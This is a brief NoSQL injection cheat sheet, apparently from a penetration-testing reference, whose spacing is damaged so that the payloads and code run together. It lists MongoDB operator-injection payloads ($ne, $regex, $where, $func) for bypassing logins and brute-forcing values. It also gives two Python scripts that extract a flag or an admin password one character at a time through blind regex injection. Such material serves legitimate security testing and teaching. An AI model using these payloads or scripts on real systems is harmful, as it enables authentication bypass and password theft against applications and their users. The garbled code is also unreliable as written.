NoSQL databases provide looser consistency restrictions than traditional SQL databases. By requiring fewer relational constraints and consistency checks, NoSQL databases often offer performance and scaling benefits. Yet these databases are still potentially vulnerable to injection attacks, even if they aren't using the traditional SQL syntax.
Exploit
In PHP you can send an Array changing the sent parameter from parameter=foo to parameter[arrName]=foo.
The exploits are based in adding an Operator:
username[$ne]=1$password[$ne]=1 #<Not Equals>username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameterusername[$regex]=.{25}&pass[$ne]=1#Use the <regex> to find the length of a valueusername[$eq]=admin&password[$ne]=1#<Equals>username[$ne]=admin&pass[$lt]=s#<Less than>, Brute-force pass[$lt] to find more usersusername[$ne]=admin&pass[$gt]=s#<Greater Than>username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where:"this.credits == this.debits"}#<IF>,canbeusedtoexecutecode
Using the $func operator of the MongoLite library (used by default) it might be possible to execute and arbitrary function as in this report.
"user":{"$func":"var_dump"}
Blind NoSQL
import requests, stringalphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits +"_@{}-/()!\"$%=^[]:;"flag =""for i inrange(21):print("[i] Looking for char number "+str(i+1))for char in alphabet: r = requests.get("http://chall.com?param=^"+flag+char)if ("<TRUE>"in r.text): flag += charprint("[+] Flag: "+flag)break
import requestsimport urllib3import stringimport urlliburllib3.disable_warnings()username="admin"password=""whileTrue:for c in string.printable:if c notin ['*','+','.','?','|']: payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}'% (username, password + c) r = requests.post(u, data = {'ids': payload}, verify =False)if'OK'in r.text:print("Found one more char : %s"% (password+c)) password += c